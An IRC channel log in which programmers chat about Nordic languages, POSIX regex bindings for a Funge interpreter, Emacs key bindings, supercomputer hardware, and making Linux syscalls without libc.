18:14:43 <AnMaster> Deewiant, which means in a lot of dictionaries w still sorts under v
18:14:51 <AnMaster> (for imported words and such)
18:15:02 <oerjan> or just "Jeg tenker" (cognate to think)
18:15:04 <AnMaster> oerjan, sounds like "I wonder"?
18:15:12 <AnMaster> the former that is
18:15:21 <oerjan> AnMaster: no, that would be "Jeg undrer"
18:15:29 <AnMaster> huh
18:15:48 <oerjan> or "undres"
18:15:52 <Deewiant> uorygl: Wikipedia suggests that for Finnish, äö are just replaced by ao
18:15:59 <AnMaster> oerjan, then I have no clue what vurderer would be in Swedish
18:16:13 <oerjan> `translatefromto no sv vurdere
18:16:18 <HackEgo> bedöma
18:16:43 <oerjan> bedømme is also norwegian
18:17:07 <AnMaster> oh
18:17:11 <uorygl> I think Finnish looks and sounds really neat. It's too bad it's completely unrelated to English.
18:17:30 <AnMaster> uorygl, it sounds like a tongue twister all the time to me
18:17:36 <AnMaster> and looks like it too
18:17:37 <Deewiant> Too bad? :-P
18:18:02 <oerjan> AnMaster: except i don't think you can bedømme for an action you consider doing, only for judging something, which also can use vurdere
18:18:23 <uorygl> It means I can't learn it just by reading and using HackEgo.
18:19:20 <AnMaster> oh btw, in hand writing you often use ~ above the ä or ö in Swedish. that is, fast handwriting
18:19:30 <AnMaster> sometimes just a - if not writing neatly
18:19:36 <Deewiant> ¯
18:19:47 <AnMaster> Deewiant, it would look really strange outside handwriting
18:19:56 <AnMaster> what do you call the handwriting where letters join together
18:20:02 <AnMaster> as opposed stand free of each other
18:20:03 <Deewiant> Not "really" IMO but a bit, yes.
18:20:06 <uorygl> Cursive, here.
18:20:06 <Deewiant> AnMaster: Cursive
18:20:08 <AnMaster> it is the former only this applies to
18:20:15 <uorygl> Joined-up, elsewhere.
18:20:28 <AnMaster> skrivstil in Swedish
18:20:37 <AnMaster> kursiv is used for italic fonts
18:20:40 <oerjan> ok if there were any questions i missed above you'll have to repeat them :D
18:20:48 <uorygl> So, I barely know any non-Indo-European natural languages at all.
18:21:02 <uorygl> I know how to say a couple of language in themselves.
18:21:03 <oerjan> uorygl: don't we all
18:21:12 <AnMaster> I can count to three on Finnish, and I know the Finnish word for Finland
18:21:13 <uorygl> Suomi, shqip, nihongo...
18:21:20 <Deewiant> Shqip?
18:21:24 <uorygl> Albanian.
18:21:28 <AnMaster> oh and for Helsingfors
18:21:32 <uorygl> I know an Albanian guy.
18:21:40 <oerjan> uorygl: shqip is actually indo-european
18:21:47 <AnMaster> Deewiant, what do you call Åbo btw?
18:21:55 <uorygl> oerjan: wow, it is.
18:22:00 <AnMaster> do you use a different name for it?
18:22:01 <Deewiant> AnMaster: Turku
18:22:02 <uorygl> So what's "skrivstil" literally?
18:22:11 <uorygl> It looks like "scribestyle" or "writestyle".
18:22:12 <Deewiant> "writing style" :-P
18:22:18 <AnMaster> uorygl, what Deewiant said
18:22:31 <AnMaster> which really doesn't make a lot of sense when you think about the name
18:22:53 <uorygl> Yeah.
18:23:07 <AnMaster> but there are plenty of things in English that makes no sense too
18:23:12 <oerjan> uorygl: i recall that albanian and greek are closest relatives (a language clade? :D)
18:23:21 <uorygl> Albanian and Greek are related? Huh.
18:23:33 <oerjan> oh wait
18:23:47 <AnMaster> oerjan, "clade"?
18:23:49 <oerjan> i'm confusing it with armenian, which is _also_ indoeuropean
18:23:54 <AnMaster> I can't find it in a dictionary
18:23:55 <oerjan> AnMaster: evolutionary term
18:24:03 <AnMaster> oerjan, meaning?
18:24:21 <oerjan> AnMaster: the set of all descendants of a common ancestor
18:24:22 <uorygl> A clade is a group of all the species descended from a certain common ancestor.
18:24:34 <uorygl> Darn, I lose.
18:24:43 <AnMaster> ah
18:25:23 <oerjan> AnMaster: i learned it only from wikipedia, there seems to be an ongoing biological movement to replace the old class/order style classification with a cladistic classification
18:25:42 <uorygl> So, I'm reading the Wikipedia article about kissa. I see that there are lots of long words.
18:25:43 <AnMaster> mhm
18:25:50 <uorygl> It sort of looks smeared.
18:25:58 <Deewiant> What's "long" in your opinion ;-)
18:26:00 <AnMaster> uorygl, kissa? As in sv:kissa?
18:26:08 <Deewiant> AnMaster: fi:kissa, en:cat.
18:26:08 <uorygl> No, fi:kissa.
18:26:12 <AnMaster> why are you reading an article about urination?!
18:26:14 <AnMaster> :P
18:26:20 <oerjan> i.e. reptiles are not a clade, so some don't want to use that as a classification term (it includes all descendants of a certain ancestor which are _not_ mammals or birds)
18:26:20 <Deewiant> For science!
18:26:24 <uorygl> "Oh, so that's what I was reading!"
18:26:24 <AnMaster> (which is what sv:kissa means)
18:26:37 <AnMaster> uorygl, well if it was fi:kissa I don't really know
18:26:38 <uorygl> `translate Kissoja on kesytetty ehkä jo heti maatalouteen siirtymisen jälkeen.
18:26:41 <AnMaster> Deewiant, ah like "kisse"?
18:26:42 <HackEgo> Cats have been domesticated perhaps as early as immediately after the transition to agriculture.
18:26:46 <AnMaster> which is like "pussy cat"
18:26:46 <oerjan> s/i.e./e.g./
18:26:59 <uorygl> Yeah, Finnish and Swedish are not exactly similar, are they.
18:27:07 <Deewiant> AnMaster: Well, there's probably some related etymology, but no, sv:katt.
18:27:28 <AnMaster> uorygl, apart from perhaps some words from our shared history, then no
18:27:44 <AnMaster> after all, Finland was a part of Sweden long ago
18:27:45 <uorygl> As far as I know, they have no shared history whatsoever.
18:27:55 <AnMaster> uorygl, see what I just said
18:28:27 <uorygl> I guess some loanwords could have gotten swapped there.
18:28:29 <Deewiant> uorygl: Finland was under Swedish rule for some 700 years :-P
18:28:47 <uorygl> The same way English has lots of Romance words even though it's a Germanic language, I guess.
18:28:57 <AnMaster> Deewiant, still, why didn't we manage to get you to switch to an easier to pronounce language ;P)
18:29:01 <AnMaster> s/)//
18:29:06 <Deewiant> Because we're dense like that
18:29:11 <uorygl> So, in that sentence about cats, I have no idea how to match the Finnish to the English.
18:29:13 <AnMaster> heh
18:29:14 <uorygl> Apart from the first word.
18:29:22 <Deewiant> English is such a ripoff-language :-P
18:29:24 <AnMaster> uorygl, what was the first word?
18:29:31 <Deewiant> My guess: "kissa"
18:29:54 <uorygl> The first word was "kissoja".
18:29:59 <Deewiant> Darn
18:30:03 <AnMaster> uorygl, you have lots of Scandinavian words imported. Like window, from old Scandinavian vindöga (wind eye)
18:30:09 <Deewiant> Oh, right, that one above
18:30:25 <uorygl> "Kissoja on kesytetty ehkä jo heti maatalouteen siirtymisen jälkeen."
18:30:29 <AnMaster> uorygl, we replaced it with "fönster" later, which is a word imported from German
18:30:30 <Deewiant> uorygl: on kesytetty <-> have been domesticated
18:30:35 <Deewiant> uorygl: ehkä <-> perhaps
18:30:52 <Deewiant> uorygl: jo <-> as early as
18:30:58 <Deewiant> uorygl: heti <-> immediately
18:31:02 <AnMaster> Deewiant, "jo <-> as early as"?
18:31:10 <Deewiant> uorygl: maatalouteen <-> agriculture
18:31:11 <AnMaster> that sounds like a strange thing to have a two letter word for
18:31:13 <AnMaster> very strange
18:31:15 <Deewiant> uorygl: maatalouteen <-> to agriculture
18:31:19 <Deewiant> (My bad)
18:31:29 <Deewiant> uorygl: siirtymisen <-> the transition
18:31:33 <Deewiant> uorygl: jälkeen <-> after
18:31:46 <oerjan> AnMaster: norwegian still uses "vindu"
18:31:51 <AnMaster> oerjan, okay
18:32:08 <Deewiant> AnMaster: Well, jo <-> already
18:32:08 <AnMaster> oerjan, why does this make me thing of darth and droids btw?
18:32:10 <AnMaster> ....
18:32:15 <AnMaster> think*
18:32:22 <oerjan> AnMaster: mace windu of course
18:32:24 <AnMaster> Deewiant, hm
18:32:25 <Deewiant> It's just a not-that-literal translation.
18:32:28 <AnMaster> oerjan, oh duh
18:35:11 <oerjan> uorygl: http://en.wikipedia.org/wiki/Graeco-Armenian although it's a disputed hypothesis
18:36:52 <Deewiant> Baah, REXP is just a binding to POSIX regexen
18:36:58 <Deewiant> Mehhhhh
18:37:01 <AnMaster> Deewiant, yes? didn't you know?
18:37:15 <Deewiant> Maybe I did, in which case I forgot
18:37:16 <AnMaster> Deewiant, what did you think it was?
18:37:19 <AnMaster> Deewiant, bindings to PCRE?
18:37:29 <Deewiant> Something more generic
18:37:35 <Deewiant> I.e. not bindings
18:37:50 <AnMaster> Deewiant, that is a bit hard, since you would need to implement that dialect then basically
18:37:57 <Deewiant> Not really hard
18:38:13 <AnMaster> Deewiant, anyway, posix regex is available from libc aren't they?
18:38:16 <Deewiant> Pick a sufficiently common-denominator dialect and you can implement it with basically any library + a single preprocessing pass
18:38:25 <Deewiant> AnMaster: Only on POSIX, unsurprisingly enough.
18:38:34 <AnMaster> Deewiant, well I can't say I care about other ones
18:38:43 <Deewiant> I know /you/ don't.
18:38:48 <Deewiant> I do, though.
18:38:58 <AnMaster> Deewiant, there are probably free standing implementations of it
18:39:01 <Deewiant> Hence "baah", "mehhhhh", etc.
18:39:15 <AnMaster> Deewiant, after all, there is a glibc one, a solaris one and so on
18:39:20 <Deewiant> Yeah, gnuwin32 appears to have it
18:39:25 <fizzie> What I don't like about REXP is that you can only have one (global) regex compiled.
18:39:28 <AnMaster> Deewiant, cygwin probably does as well
18:39:38 <Deewiant> Cygwin is a POSIX environment
18:39:41 <AnMaster> fizzie, or per thread, that is disputed
18:39:43 <fizzie> I'm using a single "ignore" regex in fungot (instead of an ignore list) because of that.
18:39:43 <fungot> fizzie: it's a bit complicated, i learned something from " mathematics made difficult"? afaik no scheme module/ package system stuff, although that's not such a problem)
18:39:58 <AnMaster> fizzie, why a regex at all ;P
18:39:59 <Deewiant> fizzie: Just write the regex into Funge-Space.
18:40:09 <AnMaster> Deewiant, you need to recompile it then
18:40:09 <Deewiant> And then compile/execute each one individually.
18:40:14 <Deewiant> Yes, you do.
18:40:38 <AnMaster> btw
18:40:42 <AnMaster> if I do a PCRE fingerprint
18:40:48 <fizzie> Deewiant: Yes, but that's ugly. Not that I didn't consider it.
18:40:51 <AnMaster> I will make it possible to do this
18:41:09 <AnMaster> probably by requiring that it can serialise to a single funge space cell
18:41:11 <Deewiant> fizzie: Seems very Fungy to me :-P
18:41:18 <fizzie> Deewiant: As a consequence of the current implementation, the bot can't say what the current ignore regex is, because I don't store it anywhere. :p
18:41:23 <AnMaster> in a way where not freeing them doesn't cause any memory leakage
18:41:28 <AnMaster> as in, you just drop the handle
18:41:32 <AnMaster> they should act like being GCed
18:41:43 <AnMaster> which means you need a bignum funge basically
18:41:48 <Deewiant> fizzie: Yes, that seems like a bit of a limitation too :-P
18:41:50 <AnMaster> and serialises it to that
18:42:25 <Deewiant> Bah, the gnuwin32 one is a dynamic library.
18:42:34 <fizzie> I have somewhere a compiler (in Java, I think) from a regex dialect into Brainfuck; i.e. it creates the brainfuck code that takes input and then prints out "acc" or "rej" depending on whether it matches the regex.
18:43:33 <AnMaster> Deewiant, why is that an issue?
18:43:35 <fizzie> It was a rather regular sort of regex, though; I don't think it had much more specials than the * and |.
18:43:40 <AnMaster> Deewiant, also you could extract the code
18:43:42 <AnMaster> and build it
18:43:51 -!- BeholdMyGlory has quit (Ping timeout: 252 seconds).
18:44:00 <AnMaster> Deewiant, or perhaps just make that fingerprint available on POSIX platforms
18:44:04 <Deewiant> AnMaster: It'd make CCBI depend on something else.
18:44:06 -!- FireFly has quit (Ping timeout: 268 seconds).
18:44:23 <AnMaster> Deewiant, so extract the code and place it in a subdir of the source code
18:44:23 <Deewiant> Yes, I can try to build it myself but one never knows how well that'll succeed. :-P
18:44:29 <AnMaster> then build and link it statically
18:44:32 <Deewiant> AnMaster: glibc? Hell no
18:44:39 <AnMaster> what?
18:44:41 <Deewiant> Requires so much autoconf and other magic to even get started
18:44:49 <AnMaster> Deewiant, no, I didn't say glibc
18:44:52 <Deewiant> I wouldn't wish that on my worst enemy :-P
18:45:04 <AnMaster> Deewiant, I suggested that you might only make it available if the libc supports it
18:45:09 <AnMaster> that is an alternative
18:45:18 <AnMaster> Deewiant, or you could implement POSIX regexps
18:45:18 <Deewiant> Yes, I know, that's the easiest alternative.
18:45:19 <AnMaster> or
18:45:27 <AnMaster> perhaps, not implement the fingerprint at all
18:45:36 <Deewiant> Nah, I wanna be fungot-compatible.
18:45:37 <fungot> Deewiant: i'm writing a function to dream about it.
18:45:45 <Deewiant> fungot: Don't be snarky.
18:45:45 <fungot> Deewiant: this setence no verb. sorry. :) i don't know one
18:45:52 <AnMaster> haha
18:46:37 <AnMaster> Deewiant, it is unlikely to be run on ccbi I think. Since fizzie said he selected cfunge mainly because he could run longer ^bf and ^ul programs on it.
18:46:40 <AnMaster> due to it being faster
18:46:50 <AnMaster> of course, if he completes jitfunge
18:46:53 <AnMaster> that is what he will use
18:47:01 * AnMaster looks at fizzie
18:47:13 <Deewiant> What he runs it on is his concern, not mine.
18:47:44 <AnMaster> Deewiant, heh
18:47:47 <fizzie> Poor bot, doesn't know any verbs.
18:48:11 <Deewiant> Does anybody here have a Windows system immediately available? The .exe at http://people.delphiforums.com/gjc/hs_regex.html isn't behaving.
18:48:17 <AnMaster> fizzie, wrong. It lied. "know" is a verb isn't it? And so is "don't"
18:48:18 <AnMaster> well
18:48:24 <AnMaster> don't is "do" + "not"
18:48:29 <AnMaster> the former being a verb
18:48:46 <AnMaster> Deewiant, delphi?
18:48:47 <AnMaster> wonderful
18:48:55 <fizzie> Deewiant: I should, however, distribute some sort of "fungot-compliant software" stickers for all Funge-98 interps that can run it.
18:48:55 <fungot> fizzie: i move first
18:49:02 <AnMaster> chess?
18:49:04 <Deewiant> fizzie: Indeed!
18:49:10 <Deewiant> AnMaster: Looks like C.
18:49:41 <AnMaster> Deewiant, well, freebsd libc should provide a very nice posix regex implementation
18:49:43 <AnMaster> but
18:49:46 <AnMaster> that page is old
18:49:48 <AnMaster> 1997
18:49:52 <fizzie> Like they have those Windows-compatible hardware logo things. Though then I'd need a test framework for fungot. (Which might not be a bad idea anyway.)
18:49:53 <fungot> fizzie: huh, what about the home fnord for the kerry campaign? :)
18:49:56 <Deewiant> It's still POSIX regex
18:49:56 <AnMaster> you should extract a newer one from freebsd sources
18:50:00 <fizzie> (Away a while.)
18:50:08 <Deewiant> REXP doesn't specify version requirements, as can be expected :-P
18:50:13 <AnMaster> Deewiant, freebsd sources tend to be easy to extract and use elsewhere in my experience
18:50:35 <AnMaster> Deewiant, so it should be a few minutes of work to take it from the source tree on your local freebsd machine
18:50:35 <Deewiant> Yes, that's probably what I'll try first.
18:50:53 <AnMaster> perhaps one or two helper functions
18:52:15 <lament> i said which what?
18:52:21 <Deewiant> fizzie: You can even pop me one physically and I can take a screenshot of a computer running CCBI with the sticker in the middle of the screen, or something
18:53:14 <AnMaster> Deewiant, in the middle of the screen? ouch
19:01:41 <Deewiant> AnMaster: I don't have to /nail/ it to the screen
19:04:28 <Deewiant> AnMaster: Anyway, the short speed mention reminded me: any ideas for funge benchmarks?
19:13:34 <zzo38> Someone said "never trust a computer that you can not throw out of a window" but in my opinion the better advice should be "never trust a computer that you can not thoroughly disassemble"
19:16:03 -!- impomatic has joined.
19:16:07 <Sgeo> zzo38, good luck disassembling a microprocessor
19:16:08 <impomatic> Hi :-)
19:17:04 <zzo38> Yes, it would certainly be difficult to disassemble a microprocessor
19:18:42 <zzo38> Try this game http://zzo38computer.cjb.net/GAMES/100level.zip see if you can figure it out. (Just run the EXE; do not look at the source-codes unless the EXE won't run or something else...)
19:19:08 <zzo38> It deliberately has a lack of good instructions
19:19:25 * Sgeo wonders how much he should be trusting zzo38
19:19:27 <zzo38> Because it is meant you just have to try things to see what works
19:19:41 <zzo38> Run the program in a virtual machine if you don't trust the program
19:20:07 <zzo38> (It is a DOS program)
19:21:52 <zzo38> I just want to see how many people can possibly figure it out, and even if you can figure it out, you still have to win, of course
19:22:02 * pikhq cannot run DOS programs
19:23:58 <zzo38> Maybe you can recompile it using FreeBASIC, or something like that. Or, just put FreeDOS on a virtual machine, or run it in the DOSBOX emulator, and so on
19:24:09 <Sgeo> Ok, Pidgin has screwed me over one too many times at this point
19:24:24 <zzo38> Sgeo: And what kind of screw did it screw you over?
19:24:27 <zzo38> What happened to the program?
19:24:41 <pikhq> zzo38: Use a real language.
19:24:54 <Sgeo> Tried to bring a window to the front, and it wouldn't come up. But that's relatively minor, it's just the last straw
19:25:17 <Sgeo> pidgin-facebook glitches, sometimes I can't edit my status
19:25:27 <zzo38> I wrote it in QBASIC but FreeBASIC should be able to compile it too
19:25:46 <zzo38> I used it simply because I sometimes do that when writing games on DOS
19:26:01 * pikhq shoves a C compiler down zzo38's throat
19:26:02 <zzo38> (I didn't use this computer to write it, I used a different computer)
19:26:13 <zzo38> On this computer I do have a C compiler, I use MinGW.
19:26:27 <pikhq> Your DOS machine should have one, too. DJGPP.
19:27:56 <zzo38> Perhaps it should, but I didn't use that. Maybe later I might re-write it (or a similar game) in C, and it might be on Linux console mode and Windows console mode
19:28:31 * pikhq removes zzo38's knowledge of BASIC
19:28:48 <zzo38> That other computer is actually Windows 98 and it isn't in this house, it is elsewhere, when I am there sometimes I do that on there. I have no internet connection there either, so I had to use a floppy disk
19:29:29 <zzo38> That other computer doesn't actually belong to me anyways it belongs to the school but they let me borrow it, probably permanently because they probably never want it back
19:35:05 -!- zzo38 has quit (Remote host closed the connection).
20:16:23 <pikhq> There is one thing I dislike about Conkeror: C-x C-c does something.
20:16:30 <pikhq> I hate typo'ing that.
20:23:05 <oerjan> which reminds me of the main thing i dislike about simon tatham's puzzle collection
20:23:27 <pikhq> Oh?
20:23:30 <oerjan> pressing q quits the fucking program, immediately!
20:23:36 <pikhq> Urgh.
20:24:20 <oerjan> it's apparently designed to be easily hideable in office environments :D but i have no use for that D:
20:26:26 <AnMaster> <pikhq> There is one thing I dislike about Conkeror: C-x C-c does something. <-- does it quit?
20:26:48 <pikhq> Yes.
20:27:10 <AnMaster> well, that is expected isn't it?
20:27:23 <AnMaster> what would you prefer instead?
20:27:33 -!- Libster has joined.
20:27:36 <pikhq> Something harder to accidentally type.
20:27:41 -!- Libster has left (?).
20:27:52 <pikhq> Note that Emacs-style bindings stick a lot of stuff off of C-x ...
20:30:36 -!- Oranjer has joined.
20:30:47 <fizzie> I just had a friend complain about C-w closing tabs in Firefox; she was trying to do a copy-paste job on a wiki page in Firefox, and all those Emacs reflexes made her do C-w often.
20:31:50 <Oranjer> is "C-" an accepted notation for <hold down ctrl>?
20:32:31 <fizzie> It's the Emacs way to say it.
20:33:04 <fizzie> As is M-x for meta-x, and... is it C-M-x or M-C-x, actually?
20:33:22 <pikhq> C-M-x is the general notation.
20:33:40 <Oranjer> 'P-x for 'pata-x?
20:34:24 -!- coppro has joined.
20:35:09 <fizzie> s-x (yes, lowercase) and H-x for super and hyper, it seems, though I guess there are no (or not many anyway) standard bindings for those.
20:57:41 -!- Phantom_Hoover has joined.
20:58:06 <oerjan> the Invisible Sucker
20:58:35 <Phantom_Hoover> What?
20:58:52 <oerjan> your nickname
20:59:10 <Phantom_Hoover> Indeed.
21:00:55 <Phantom_Hoover> Are the forums ever even used?
21:01:00 <Oranjer> I thought it dealt with the former head of the FBI
21:01:13 <Oranjer> was his name hoover? beats me
21:01:17 <oerjan> Phantom_Hoover: there is a post the occasional month or so
21:01:27 <oerjan> Oranjer: hm that rings a bell
21:01:34 <oerjan> `google hoover
21:01:37 <HackEgo> Hoover's proprietary company profiles and industry information. \ [15]Log In - [16]Companies A-Z - [17]Companies - [18]Industries
21:01:45 <Phantom_Hoover> Oranjer: It's named after the vacuum cleaner.
21:01:50 <Oranjer> oh okay
21:01:59 <oerjan> `google j edgar hoover
21:02:00 <HackEgo> John Edgar Hoover (January 1, 1895 May 2, 1972) was the first Director of the Federal Bureau of Investigation (FBI) of the United States. ... \ [13]Early life and education - [14]FBI career - [15]Legacy - [16]Personal life
21:02:08 <nooga> hakcety hack
21:02:14 <Phantom_Hoover> `help
21:02:15 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
21:02:18 <oerjan> `google hoover vacuum
21:02:20 <HackEgo> Vacuum cleaners from Hoover featuring the best new and reconditioned models, including powerful upright vacuums, easy to use canister style vacuums, ... \ www.hoover.com/ - [15]Cached - [16]Similar
21:02:52 <Phantom_Hoover> 1ls
21:02:55 <Phantom_Hoover> `ls
21:02:57 <HackEgo> bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.5645 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1
21:03:11 <AnMaster> night
21:03:15 <nooga> we're building a 8088 based computer on a prototype board, with vintage printer and 300baud modem
21:03:36 <nooga> would you like to call our modem and trigger the led-blinking program? :D
21:03:59 <oerjan> watchen das blinkenlights
21:04:03 <Oranjer> `google Hoover FBI
21:04:06 <HackEgo> Jump to [13]FBI career: Hoover was noted as sometimes being capricious in his leadership; he frequently fired FBI agents, singling out those whom he ... \ [14]Early life and education - [15]FBI career - [16]Legacy - [17]Personal life
21:04:22 <oerjan> Oranjer: see above
21:04:29 <Oranjer> oh, hahaha
21:04:55 <nooga> oerjan: say this in language that sounds better
21:04:59 <nooga> ;]
21:05:06 <oerjan> nooga: say what?
21:05:14 <nooga> 22:03 < oerjan> watchen das blinkenlights
21:06:37 <oerjan> nooga: http://en.wikipedia.org/wiki/Blinkenlights
21:06:37 <nooga> brb
21:07:02 <nooga> ahh lool
21:08:51 <nooga> lmao
21:08:53 <nooga> lmao
21:09:02 <nooga> how come that i didnt know that
21:10:00 <nooga> http://www.catb.org/~esr/jargon/html/graphics/gefingerpoken.jpg
21:10:14 <nooga> lofl
21:13:13 * oerjan hadn't seen that one before
21:13:39 <nooga> i think this is the original
21:14:18 <nooga> brb
21:15:13 <fizzie> Cray CX1 has this funny-looking "modernized blinkenlights" mini-screen on the chassis: http://download.intel.com/pressroom/kits/xeon/5500series/images/Cray_CX1.jpg
21:16:05 <fizzie> (And it's almost affordable by a regular person, unlike current Real Computers.)
21:17:03 <Phantom_Hoover> It reminds me of the Monoliths...
21:17:29 <Phantom_Hoover> Blocky things always look more imposing, though...
21:18:29 <fizzie> That thing is pretty small; it's their "desktop supercomputer".
21:18:41 <Phantom_Hoover> What the hell are the big ones like?
21:18:52 <fizzie> Here's one in a room: http://leahshanker.files.wordpress.com/2009/02/cray.jpg
21:18:59 <Phantom_Hoover> BtW, did that esoteric operating system ever get off the ground?
21:19:53 <fizzie> Finland's possibly biggest Real Computer, CSC's louhi (Cray XT4/XT5) looks like this: http://www.aamulehti.fi/teema/tiede/5322047-big.jpg
21:20:04 -!- nooga has quit (Read error: Operation timed out).
21:20:14 <fizzie> They look like reasonably silly refridgerators.
21:20:32 <fizzie> s/d//
21:20:59 <fizzie> I seem to remember that Cray does custom colours for all their Real Computer installations; most of the other ones looked a lot fancier.
21:21:10 <fizzie> (Of course they might've selected only the best-looking ones for the slideset.)
21:21:35 <fizzie> But, I mean, compare louhi with something like http://blogs.knoxnews.com/munger/jaguartests.jpg
21:22:09 <fizzie> Or http://media.knoxnews.com/media/img/photos/2009/01/23/012409kraken1_t607.jpg
21:22:11 <Phantom_Hoover> I vaguely remember some form of supercomputer at the University of Edinburgh.
21:22:13 <fizzie> Even the names are more impressive.
21:22:33 <impomatic> Can anyone suggest where I can get a decent feed of programming related links, apart from Digg, Reddit, Delicious and DZone?
21:22:36 <fizzie> Though the Kraken's tentacles have some anime schoolgirl molestation connotations nowadays.
21:22:42 <Phantom_Hoover> Eew.
21:23:12 <Deewiant> impomatic: Hacker News?
21:23:15 <Phantom_Hoover> impomatic: esoteric, or normal?
21:23:39 <impomatic> Either
21:24:09 <fizzie> (Though the new faculty cluster we have is called Triton, which is a passable name. And I guess Louhi's not so bad if you know your Kalevala.)
21:25:14 <Phantom_Hoover> Edinburgh supercomputers: http://www.hector.ac.uk/about-us/gallery/images/cabinet1.jpg
21:25:22 <Phantom_Hoover> They look like all the others.
21:25:28 <Phantom_Hoover> But with a less cool name.
21:26:17 <Phantom_Hoover> "Hector".
21:27:26 <Phantom_Hoover> Does anybody know if the esoteric OS got anywhere?
21:28:48 <Oranjer> I don't
21:28:56 -!- hiato has quit (Quit: underflow).
21:29:03 <Phantom_Hoover> There seem to have been four attempts.
21:29:12 <Phantom_Hoover> Based on the forum.
21:29:39 <Phantom_Hoover> The latest one actually looks achievable.
21:30:39 <lament> molestation is my favourite station.
21:30:52 <Gregor> An appropriate answer, I think.
21:30:56 <Gregor> Also, people use the forum?
21:31:01 <Phantom_Hoover> Yes.
21:31:07 <lament> No.
21:31:22 <Phantom_Hoover> I think that's why all the attempts petered out.
21:31:26 <Phantom_Hoover> No-one noticed.
21:31:38 <Sgeo> ?!?
21:31:51 <fizzie> What, people use the forum?
21:32:00 <Sgeo> Apparently, some software ended up relying on uninitialized variables being filled with garbage
21:32:29 <lament> Sgeo: i can see that working in CoreWars
21:32:54 <Sgeo> OS X apparently initializes such variables to 0, which caused problems
21:33:12 <Phantom_Hoover> What are you talking about?
21:33:13 -!- tombom_ has joined.
21:33:36 <Sgeo> http://forums.activeworlds.com/showpost.php?p=123792&postcount=10
21:34:57 <Phantom_Hoover> Weird.
21:35:13 -!- tombom has quit (Ping timeout: 260 seconds).
21:38:17 <lament> i wonder how that works
21:38:27 <lament> do you rely on garbage being uniformly distributed or something?
21:38:49 <Gregor> Well, if you just rely on something being, say, true by default, then any value other than 0 will work.
21:42:48 <Phantom_Hoover> If you pass the -nostdlib option to gcc can you use syscalls normally inside the program?
21:42:58 <Phantom_Hoover> like fork();
21:43:20 <pikhq> No, fork() is not actually a system call, but rather a function that performs the system call.
21:43:27 <Phantom_Hoover> Aah.
21:43:35 <pikhq> However, you could write said function yourself.
21:43:46 <Phantom_Hoover> Yeah, that's what I was doing.
21:43:48 <pikhq> Just need a small bit of inline assembly and a willingness to say "screw portability".
21:44:37 <Phantom_Hoover> Well, you could always write the assembly in a separate file and use preprocessor directives to make it a little more portable.
21:44:57 <Gregor> Which is exactly what *libc does :P
21:45:05 <Phantom_Hoover> Yes.
21:45:54 <Gregor> My OS midterm (this class is so boring and tedious it hurts) there was a question putting forth that it is possible for all syscalls to be handled by a single function, but no system in reality does this, and asking why.
21:46:26 <Gregor> My answer was that nearly every system in reality does this, to simplify the interface to the kernel, and that the syscalls as visible to the user are just wrappers which raise a software interrupt, ultimately calling the same interrupt function.
21:46:49 <Phantom_Hoover> I don't really get interrupts...
21:47:03 -!- adam_d has joined.
21:47:08 <Gregor> Then re-enable them.
21:47:14 <Gregor> *ba-dum ching*
21:47:24 <Phantom_Hoover> Ah, that was humourous.
21:47:56 -!- sebbu2 has joined.
21:48:08 <fizzie> On x86-64, I doubt you even need that bit of inline assembly; there's a syscall invocation code you could possibly simply call in the VDSO "virtual-library" thing provided by the kernel.
21:48:27 <fizzie> You'll still need to screw the portability, of course.
21:48:47 <pikhq> fizzie: I'm pretty sure that that's done by deep linker magic.
21:48:49 -!- sebbu has quit (Ping timeout: 264 seconds).
21:48:50 -!- sebbu2 has changed nick to sebbu.
21:49:17 <Gregor> fizzie: That's provided on every platform I know of, in particular x86.
21:49:20 <Gregor> (On Linux, of course)
21:49:44 <Gregor> Also, yeah, that virtual library is not provided by the kernel, it's provided by the dynamic linker.
21:51:31 <pikhq> No, it's *provided* by the kernel but *loaded* by the dynamic linker.
21:52:12 <fizzie> In any case you can make use of it without linking against libc.
21:52:15 <pikhq> And the address is in the ELF auxilliary vector, passed as the 4th argument to main.
21:52:28 <Phantom_Hoover> AAARGH!
21:52:35 <Phantom_Hoover> So complicated!
21:52:45 <Gregor> pikhq: That doesn't answer many questions, main() is called by _start, not the kernel ...
21:53:21 <Gregor> Mind you, it could just be that it's sitting on the top of the stack when _start is called, that would be the logical place for it.
21:53:23 <pikhq> Gregor: And doesn't _start just pass arguments through to main after initialising things?
21:53:48 <Gregor> pikhq: Not really, no. _start doesn't get an argc, so it has to make it, and envp isn't a pointer, it's just the environment dumped directly into the stack.
21:53:58 <pikhq> Ah.
21:54:04 <Gregor> For that matter, argv isn't a pointer, it's just the args dumped directly into the stack :P
21:54:14 * pikhq reads up further
21:54:55 <pikhq> Yuh, the ELF loader dumps auxv on the stack.
21:55:51 <fizzie> If it's too complicated, you don't have to use it; if you instead want the simple way of having that bit of inline assembly. I've done both int 80h on x86-32 and the "syscall" instruction on x86-64 manually here and there. Just stick things into proper registers, that's about it.
21:56:54 <Gregor> pikhq: http://pastebin.ca/1836084 :)
21:57:11 <Gregor> Before segfaulting, that code is quite amusing :P
21:57:25 <pikhq> Gregor: Heheheh.
21:59:13 <pikhq> Mmkay, from the looks of things the auxv is after the end of envp.
21:59:37 <pikhq> So, look for the NULL at the end of envp and you have auxv.
21:59:47 <Gregor> Yup
21:59:57 <Gregor> main() is for pussies.
22:00:03 <pikhq> Heheheh.
22:02:31 <fizzie> Yes, and think of the efficiency! If you just start at _start, your code runs a lot earlier!
22:02:55 <pikhq> And if you make everything static functions, you can optimise THE WHOLE PROGRAM!
22:03:03 <Gregor> static inline
22:03:07 <Gregor> Just inline everything into _start
22:03:16 <fizzie> And if you RET at the beginning, you've got an O(1) approximation to everything.
22:03:22 <pikhq> Gregor: The "inline" keyword doesn't actually cause any inlining.
22:03:30 <Gregor> pikhq: It's a suggestion though :P
22:03:39 <Gregor> You're at least politely requesting that the compiler please inline.
22:03:39 <pikhq> It just tells the compiler to ignore a redundant definition.
22:03:50 <pikhq> Except for GNU inline. Which does odder things.
